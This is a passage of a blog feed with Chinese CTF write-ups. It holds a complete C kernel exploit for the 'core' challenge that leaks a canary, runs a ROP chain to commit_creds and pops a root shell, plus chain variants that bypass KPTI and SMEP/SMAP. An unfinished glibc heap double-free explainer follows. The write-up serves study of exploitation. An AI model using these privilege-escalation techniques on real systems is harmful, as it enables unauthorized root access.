class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/stat.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/ioctl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SWAPGS_POPFQ 0xffffffff81a012da</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IRETQ 0xffffffff81050ac2</span></span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> prepare_kernel_cred = <span class="literal">NULL</span>, commit_creds = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//编译时加入选项 -masm=intel</span></span><br><span class="line"><span class="type">size_t</span> user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"><span class="type">void</span> <span class="title function_">saveStatus</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    __asm__(<span class="string">&quot;mov user_cs, cs;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_ss, ss;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_sp, rsp;&quot;</span></span><br><span class="line">            <span class="string">&quot;pushf;&quot;</span></span><br><span class="line">            <span class="string">&quot;pop user_rflags;&quot;</span></span><br><span class="line">            );</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">core_read</span><span class="params">(<span class="type">int</span> fd, <span class="type">char</span>* buf)</span></span><br><span class="line">&#123;</span><br><span class="line">ioctl(fd, <span class="number">0x6677889b</span>, buf);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">core_set_off</span><span class="params">(<span class="type">int</span> fd, <span class="type">int</span> num)</span></span><br><span class="line">&#123;</span><br><span class="line">ioctl(fd, <span class="number">0x6677889c</span>, num);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">core_copy_func</span><span class="params">(<span class="type">int</span> fd, <span class="type">long</span> num)</span></span><br><span class="line">&#123;</span><br><span class="line">ioctl(fd, <span class="number">0x6677889a</span>, num);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* for ret2usr attacker */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">get_root_privilige</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">void</span> *(*prepare_kernel_cred_ptr)(<span class="type">void</span> *) = </span><br><span class="line">                                         (<span class="type">void</span> *(*)(<span class="type">void</span>*)) prepare_kernel_cred;</span><br><span class="line">    <span class="type">int</span> (*commit_creds_ptr)(<span class="type">void</span> *) = (<span class="type">int</span> (*)(<span class="type">void</span>*)) commit_creds;</span><br><span class="line">    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(<span class="literal">NULL</span>));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* root checker and shell poper */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">get_root_shell</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span>(getuid()) &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to get the root!\033[0m&quot;</span>);</span><br><span class="line">        sleep(<span class="number">5</span>);</span><br><span class="line">        <span class="built_in">exit</span>(EXIT_FAILURE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the root. \033[0m&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Execve root shell now...\033[0m&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/* to exit the process normally, instead of segmentation fault */</span></span><br><span class="line">    <span class="built_in">exit</span>(EXIT_SUCCESS);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">saveStatus();<span class="comment">//保存寄存器状态</span></span><br><span class="line"><span class="type">int</span> fd = open(<span class="string">&quot;/proc/core&quot;</span>, <span class="number">2</span>);<span class="comment">//打开交互文件</span></span><br><span class="line"><span class="keyword">if</span>(fd == <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;open core failure!\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">FILE* sym_table_fd = fopen(<span class="string">&quot;/tmp/kallsyms&quot;</span>, <span class="string">&quot;r&quot;</span>);<span class="comment">//获取函数地址</span></span><br><span class="line"><span class="keyword">if</span>(sym_table_fd &lt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">char</span> buf[<span class="number">0x50</span>], type[<span class="number">0x10</span>];</span><br><span class="line"><span class="type">size_t</span> addr;</span><br><span class="line"><span class="comment">//获取commit_creds和prepare_kernel_cred函数地址</span></span><br><span class="line"><span class="keyword">while</span>(<span class="built_in">fscanf</span>(sym_table_fd, <span class="string">&quot;%llx%s%s&quot;</span>, &amp;addr, type, buf))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(prepare_kernel_cred &amp;&amp; commit_creds)</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!commit_creds &amp;&amp; !<span class="built_in">strcmp</span>(buf, <span class="string">&quot;commit_creds&quot;</span>))</span><br><span class="line">&#123;</span><br><span class="line">commit_creds = addr;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n&quot;</span>, commit_creds);</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(buf, <span class="string">&quot;prepare_kernel_cred&quot;</span>))</span><br><span class="line">        &#123;</span><br><span class="line">            prepare_kernel_cred = addr;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n&quot;</span>, prepare_kernel_cred);</span><br><span class="line">           <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep &#x27;commit_creds&#x27;得到</span></span><br><span class="line"><span class="comment">//为未开启KASLR前的固定地址，相减后求出offset</span></span><br><span class="line"><span class="type">size_t</span> offset = commit_creds - <span class="number">0xffffffff8109c8e0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//泄露canary</span></span><br><span class="line"><span class="comment">//char buf[0x100] = &quot;\x00&quot;;</span></span><br><span class="line">core_set_off(fd, <span class="number">64</span>);</span><br><span class="line">core_read(fd, buf);</span><br><span class="line"><span class="type">long</span> canary = *(<span class="type">long</span>*)buf;</span><br><span class="line"><span class="comment">//printf(&quot;canary is: %lx\n&quot;, *(long*)buf);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//构造ROP chain</span></span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line"><span class="type">size_t</span> chain[<span class="number">0x100</span>];</span><br><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++)</span><br><span class="line">chain[i] = canary;</span><br><span class="line">chain[i++] = (<span class="type">size_t</span>)get_root_privilige;</span><br><span class="line">chain[i++] = SWAPGS_POPFQ + offset;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = IRETQ + offset;</span><br><span class="line">chain[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">chain[i++] = user_cs;</span><br><span class="line">chain[i++] = user_rflags;</span><br><span class="line">chain[i++] = user_sp;</span><br><span class="line">chain[i++] = user_ss;</span><br><span class="line">write(fd, chain, <span class="number">0x800</span>);</span><br><span class="line">core_copy_func(fd, <span class="number">0xffffffffffff0000</span> | (<span class="number">0x100</span>));</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="Add-KPTI"><a href="#Add-KPTI" class="headerlink" title="Add KPTI"></a>Add KPTI</h2><h3 id="原理-1"><a href="#原理-1" class="headerlink" title="原理"></a>原理</h3><p>KPTI(Kernel PageTable Isolation)全称内核页表隔离,它通过完全分离用户空间与内核空间页表来解决页表泄露。</p><p>KPTI中每个进程有两套页表——内核态页表与用户态页表(两个地址空间)。内核态页表只能在内核态下访问，可以创建到内核和用户的映射（不过用户空间受SMAP和SMEP保护）。用户态页表只包含用户空间。不过由于涉及到上下文切换，所以在用户态页表中必须包含部分内核地址，用来建立到中断入口和出口的映射。</p><p>当中断在用户态发生时，就涉及到切换CR3寄存器，从用户态地址空间切换到内核态的地址空间。中断上半部的要求是尽可能的快，从而切换CR3这个操作也要求尽可能的快。为了达到这个目的，KPTI中将内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中（内核态在低位，用户态在高位）。这段空间必须是8K对齐的，这样将CR3的切换操作转换为将CR3值的第13位(由低到高)的置位或清零操作，提高了CR3切换的速度。</p><blockquote><p>Linux在v2.6.11以后，最终采用的方案是4级页表，分别是：</p><p>PGD：page Global directory(47-39), 页全局目录<br>PUD：Page Upper Directory(38-30)，页上级目录<br>PMD：page middle directory(29-21)，页中间目录<br>PTE：page table entry(20-12)，页表项</p></blockquote><h3 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h3><p>在原理中解释了在KPTI开启时如何切换内核态和用户态的PGD，也就是说，我们只要能将CR3寄存器的第13位取反，那么就可以实现KPTI的绕过。</p><p>除了在系统调用入口中将用户态页表切换到内核态页表的代码外，内核也相应地在 <code>arch/x86/entry/entry_64.S</code> 中提供了一个用于完成内核态页表切换回到用户态页表的函数 <code>swapgs_restore_regs_and_return_to_usermode</code>，地址可以在 <code>/proc/kallsyms</code> 中获得。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">swapgs_restore_regs_and_return_to_usermode</span><br><span class="line"></span><br><span class="line">.text:FFFFFFFF81600A34 41 5F                          pop     r15</span><br><span class="line">.text:FFFFFFFF81600A36 41 5E                          pop     r14</span><br><span class="line">.text:FFFFFFFF81600A38 41 5D                          pop     r13</span><br><span class="line">.text:FFFFFFFF81600A3A 41 5C                          pop     r12</span><br><span class="line">.text:FFFFFFFF81600A3C 5D                             pop     rbp</span><br><span class="line">.text:FFFFFFFF81600A3D 5B                             pop     rbx</span><br><span class="line">.text:FFFFFFFF81600A3E 41 5B                          pop     r11</span><br><span class="line">.text:FFFFFFFF81600A40 41 5A                          pop     r10</span><br><span class="line">.text:FFFFFFFF81600A42 41 59                          pop     r9</span><br><span class="line">.text:FFFFFFFF81600A44 41 58                          pop     r8</span><br><span class="line">.text:FFFFFFFF81600A46 58                             pop     rax</span><br><span class="line">.text:FFFFFFFF81600A47 59                             pop     rcx</span><br><span class="line">.text:FFFFFFFF81600A48 5A                             pop     rdx</span><br><span class="line">.text:FFFFFFFF81600A49 5E                             pop     rsi</span><br><span class="line">.text:FFFFFFFF81600A4A 48 89 E7                       mov     rdi, rsp    &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</span><br><span class="line">.text:FFFFFFFF81600A4D 65 48 8B 24 25+                mov     rsp, gs: 0x5004</span><br><span class="line">.text:FFFFFFFF81600A56 FF 77 30                       push    qword ptr [rdi+30h]</span><br><span class="line">.text:FFFFFFFF81600A59 FF 77 28                       push    qword ptr [rdi+28h]</span><br><span class="line">.text:FFFFFFFF81600A5C FF 77 20                       push    qword ptr [rdi+20h]</span><br><span class="line">.text:FFFFFFFF81600A5F FF 77 18                       push    qword ptr [rdi+18h]</span><br><span class="line">.text:FFFFFFFF81600A62 FF 77 10                       push    qword ptr [rdi+10h]</span><br><span class="line">.text:FFFFFFFF81600A65 FF 37                          push    qword ptr [rdi]</span><br><span class="line">.text:FFFFFFFF81600A67 50                             push    rax</span><br><span class="line">.text:FFFFFFFF81600A68 EB 43                          nop</span><br><span class="line">.text:FFFFFFFF81600A6A 0F 20 DF                       mov     rdi, cr3</span><br><span class="line">.text:FFFFFFFF81600A6D EB 34                          jmp     0xFFFFFFFF81600AA3</span><br><span class="line"></span><br><span class="line">.text:FFFFFFFF81600AA3 48 81 CF 00 10+                or      rdi, 1000h</span><br><span class="line">.text:FFFFFFFF81600AAA 0F 22 DF                       mov     cr3, rdi</span><br><span class="line">.text:FFFFFFFF81600AAD 58                             pop     rax</span><br><span class="line">.text:FFFFFFFF81600AAE 5F                             pop     rdi</span><br><span class="line">.text:FFFFFFFF81600AAF FF 15 23 65 62+                call    cs: SWAPGS</span><br><span class="line">.text:FFFFFFFF81600AB5 FF 25 15 65 62+                jmp     cs: INTERRUPT_RETURN</span><br><span class="line"></span><br><span class="line">_SWAPGS</span><br><span class="line">.text:FFFFFFFF8103EFC0 55                             push    rbp</span><br><span class="line">.text:FFFFFFFF8103EFC1 48 89 E5                       mov     rbp, rsp</span><br><span class="line">.text:FFFFFFFF8103EFC4 0F 01 F8                       swapgs</span><br><span class="line">.text:FFFFFFFF8103EFC7 5D                             pop     rbp</span><br><span class="line">.text:FFFFFFFF8103EFC8 C3                             retn</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">_INTERRUPT_RETURN</span><br><span class="line">.text:FFFFFFFF81600AE0 F6 44 24 20 04                 test    byte ptr [rsp+0x20], 4</span><br><span class="line">.text:FFFFFFFF81600AE5 75 02                          jnz     native_irq_return_ldt</span><br><span class="line">.text:FFFFFFFF81600AE7 48 CF                          iretq</span><br></pre></td></tr></table></figure></div><p>可以看到该函数对栈进行了很多<code>push pop</code>操作，但是所有操作可以简化为如下部分</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mov  rdi, cr3</span><br><span class="line">or rdi, 0x1000</span><br><span class="line">mov  cr3, rdi</span><br><span class="line">pop rax</span><br><span class="line">pop rdi</span><br><span class="line">swapgs</span><br><span class="line">iretq</span><br></pre></td></tr></table></figure></div><p>因此只要布置上如下布局就可以绕过KPTI</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">↓   swapgs_restore_regs_and_return_to_usermode + 0x16  (这里从0x16开始是因为前面的pop操作无关紧要)</span><br><span class="line">    0 // padding</span><br><span class="line">    0 // padding</span><br><span class="line">    user_shell_addr</span><br><span class="line">    user_cs</span><br><span class="line">    user_rflags</span><br><span class="line">    user_sp</span><br><span class="line">    user_ss</span><br></pre></td></tr></table></figure></div><h3 id="core-with-KPTI"><a href="#core-with-KPTI" class="headerlink" title="core with KPTI"></a>core with KPTI</h3><p>要给程序加上KPTI保护，我们只需要在<code>start.sh</code>中添加<code>-cpu kvm64 \</code>，就会默认开启KPTI</p><blockquote><p>kpti 在 <code>qemu64-v1</code> 上默认是关闭的，但在其他型号 CPU 上默认是开启的</p></blockquote><p>只需修改ROP链为如下即可</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++)</span><br><span class="line">chain[i] = canary;</span><br><span class="line">chain[i++] = POP_RDI_RET + offset;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = prepare_kernel_cred;</span><br><span class="line">chain[i++] = POP_RDX_RET + offset;</span><br><span class="line">chain[i++] = commit_creds;</span><br><span class="line">chain[i++] = MOV_RDI_RAX_JMP_RDX + offset;</span><br><span class="line"></span><br><span class="line">chain[i++] = swapgs_restore_regs_and_return_to_usermode+<span class="number">0x16</span>;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line"><span class="comment">/*修改前为：</span></span><br><span class="line"><span class="comment">chain[i++] = SWAPGS_POPFQ + offset;</span></span><br><span class="line"><span class="comment">chain[i++] = 0;</span></span><br><span class="line"><span class="comment">chain[i++] = IRETQ + offset;</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">chain[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">chain[i++] = user_cs;</span><br><span class="line">chain[i++] = user_rflags;</span><br><span class="line">chain[i++] = user_sp;</span><br><span class="line">chain[i++] = user_ss;</span><br></pre></td></tr></table></figure></div><p>在开启了kpti之后，ret2usr便无法使用，因为<strong>对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限</strong>，因此当内核尝试执行用户空间代码时，由于对应页顶级表项没有设置可执行位，因此会直接 panic</p><h2 id="Add-smep-smap"><a href="#Add-smep-smap" class="headerlink" title="Add smep &amp; smap"></a>Add smep &amp; smap</h2><h3 id="SMAP-SMEP"><a href="#SMAP-SMEP" class="headerlink" title="SMAP&#x2F;SMEP"></a>SMAP&#x2F;SMEP</h3><blockquote><p>SMAP即<code>管理模式访问保护</code>（Supervisor Mode Access Prevention），SMEP即<code>管理模式执行保护</code>（Supervisor Mode Execution Prevention），这两种保护通常是同时开启的，用以阻止<strong>内核空间直接访问&#x2F;执行用户空间的数据</strong>，完全地将内核空间与用户空间相分隔开，用以防范ret2usr（return-to-user，将内核空间的指令指针重定向至用户空间上构造好的提权代码）攻击</p><p>SMEP保护的绕过有以下两种方式：</p><ul><li>利用内核线性映射区对物理地址空间的完整映射，找到用户空间对应页框的内核空间地址，利用该内核地址完成对用户空间的访问（即一个内核空间地址与一个用户空间地址映射到了同一个页框上），这种攻击手法称为 ret2dir</li><li>Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护（1为开启，0为关闭），若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护，完成SMEP-bypass，接下来就能够重新进行 ret2usr，<strong>但对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限，这使得 ret2usr 彻底成为过去式</strong></li></ul></blockquote><h3 id="利用-1"><a href="#利用-1" class="headerlink" title="利用"></a>利用</h3><p>在添加了这两个保护之后，内核空间将不能直接访问&#x2F;执行用户空间的数据，但我们可以尝试bypass。</p><p>Intel 下系统根据 CR4 控制寄存器的第 20、21 位标识是否开启 SMEP、SMAP 保护（1为开启，0为关闭），<strong>若是能够改变 CR4 寄存器的值便能够关闭 SMEP&#x2F;SMAP 保护</strong>，完成 SMAP&#x2F;SMEP-bypass，接下来就能够重新进行 ret2usr</p><p>我们只需要找到对应的gadget来控制CR4寄存器即可，bypass后执行ret2usr的ROP链如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++)</span><br><span class="line">chain[i] = canary;</span><br><span class="line">chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBX_RET + offset;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = POP_RSI_RDI_RET + offset;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = POP_RDX_RET + offset;</span><br><span class="line">chain[i++] = <span class="number">0xffffffffffcfffff</span>;</span><br><span class="line">chain[i++] = AND_RAX_RDX_ADD_RAX_RSI_RET + offset;</span><br><span class="line">chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPF_RET + offset;</span><br><span class="line"></span><br><span class="line">chain[i++] = (<span class="type">size_t</span>)get_root_privilige;</span><br><span class="line">chain[i++] = SWAPGS_POPFQ + offset;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = IRETQ + offset;</span><br><span class="line">chain[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">chain[i++] = user_cs;</span><br><span class="line">chain[i++] = user_rflags;</span><br><span class="line">chain[i++] = user_sp;</span><br><span class="line">chain[i++] = user_ss;</span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/07/06/kernel%20pwn/kernel%E5%85%A5%E9%97%A8(1)%E4%B9%8Bcore/</id>
    <link href="https://staticccccccc.github.io/2024/07/06/kernel%20pwn/kernel%E5%85%A5%E9%97%A8(1)%E4%B9%8Bcore/"/>
    <published>2024-07-06T11:30:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>由于kernel pwn的知识实在过于庞杂，因此鄙人选择从题目入手来学习kernel pwn的知识，并且该方向上已经有很多大佬写的优秀文章，]]>
    </summary>
    <title>kernel入门(1)之core</title>
    <updated>2024-07-06T11:30:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="glibc" scheme="https://staticccccccc.github.io/categories/glibc/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="UAF"><a href="#UAF" class="headerlink" title="UAF"></a>UAF</h2><p>在<code>free(p)</code>之后未对指针<code>p</code>置空，可配合其他可利用因素进行攻击</p><h3 id="fastbin"><a href="#fastbin" class="headerlink" title="fastbin"></a>fastbin</h3><h4 id="libc-2-31及之前"><a href="#libc-2-31及之前" class="headerlink" title="libc-2.31及之前"></a>libc-2.31及之前</h4><p>fastbin只会在放入fastbin时检查链表头指向的chunk是否<code>double free</code>，因此构造fastbin为<code>p1-&gt;p2-&gt;p1</code>，然后再将p1申请出来，更改p1的fd指针为我们想要修改的地址，此时fastbin为<code>p2-&gt;p1-&gt;target</code>，最后即可获得对应地址的写入权限。但是在这一过程中要注意的是<code>target-&gt;size</code>位置必须为<strong>这个fastbin链表的size</strong>，因为在申请时会进行检查。</p><h4 id="libc-2-32以后"><a href="#libc-2-32以后" class="headerlink" title="libc-2.32以后"></a>libc-2.32以后</h4><p>在2.32版本中，对tcach和fastbin都加入了保护机制，即对fd指针进行了<strong>异或加密</strong></p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> PROTECT_PTR(pos, ptr) \</span></span><br><span class="line"><span class="meta">((__typeof (ptr)) ((((size_t) pos) &gt;&gt; 12) ^ ((size_t) ptr)))</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> REVEAL_PTR(ptr)  PROTECT_PTR (&amp;ptr, ptr)</span></span><br></pre></td></tr></table></figure></div><p><code>ptr</code>为next对应的地址，<code>pos</code>为当前堆块的地址</p><p>在放入对应链表时，会进行<code>PROTECT_PTR(pos, ptr)</code>操作，即抹去pos后三位信息然后与ptr异或，放入fd位置。由于异或加密的可逆性，解密时直接与<code>pos &gt;&gt; 12</code>异或就可以得到ptr。同时，在链表中只有一个chunk时，fd也会进行加密，而其next实际为0，因此会有<code>fd = (pos &gt;&gt; 12) ^ 0</code>，此时fd存储的就是堆块地址，我们可以通过这个机制泄露出堆地址，依然可以进行后续的利用。</p><h3 id="tcache"><a href="#tcache" class="headerlink" title="tcache"></a>tcache</h3><h4 id="libc-2-28及之前"><a href="#libc-2-28及之前" class="headerlink" title="libc-2.28及之前"></a>libc-2.28及之前</h4><p>在libc-2.28及之前tcache并不会检查<code>double free</code>，并且tcach不会检查size，我们可以直接free两次，申请一次，在fd写入<code>target</code>，再申请到<code>target</code>直接任意读写</p><h4 id="libc-2-29到libc-2-31"><a href="#libc-2-29到libc-2-31" class="headerlink" title="libc-2.29到libc-2.31"></a>libc-2.29到libc-2.31</h4><p>libc-2.29中加入了对tcache的<code>double free</code>检查，具体是在<code>tcache_entry</code>中加入了一个<code>key</code>，在chunk中体现为bk位置修改为key，当chunk被放入tcache时检查bk位置是否存在key，若存在就报错<code>double free</code>。如果我们可以修改chunk的bk位置，那么就可以清空key而绕过检查，仍旧很容易利用。</p><p>同时，我们可利用<code>fastbin double free</code>配合tcache，具体利用方法是：先malloc九次，然后free七个chunk，这时tcache被填满<code>p6-&gt;p5-&gt;p4-&gt;p3-&gt;p2-&gt;p1-&gt;p0</code>，再free剩下的两个chunk，这时chunk会在fastbin里面<code>p8-&gt;p7</code>，再free掉p7，fastbin内变成<code>p7-&gt;p8-&gt;p7</code>，这时malloc七次清空tcache，再次将<code>p7</code>malloc出来时，由于<code>tcache stash（简单来说就是，在从fastbin和small bin中取chunk的时候，会尽可能的把剩余的其他chunk也一起放入tcache 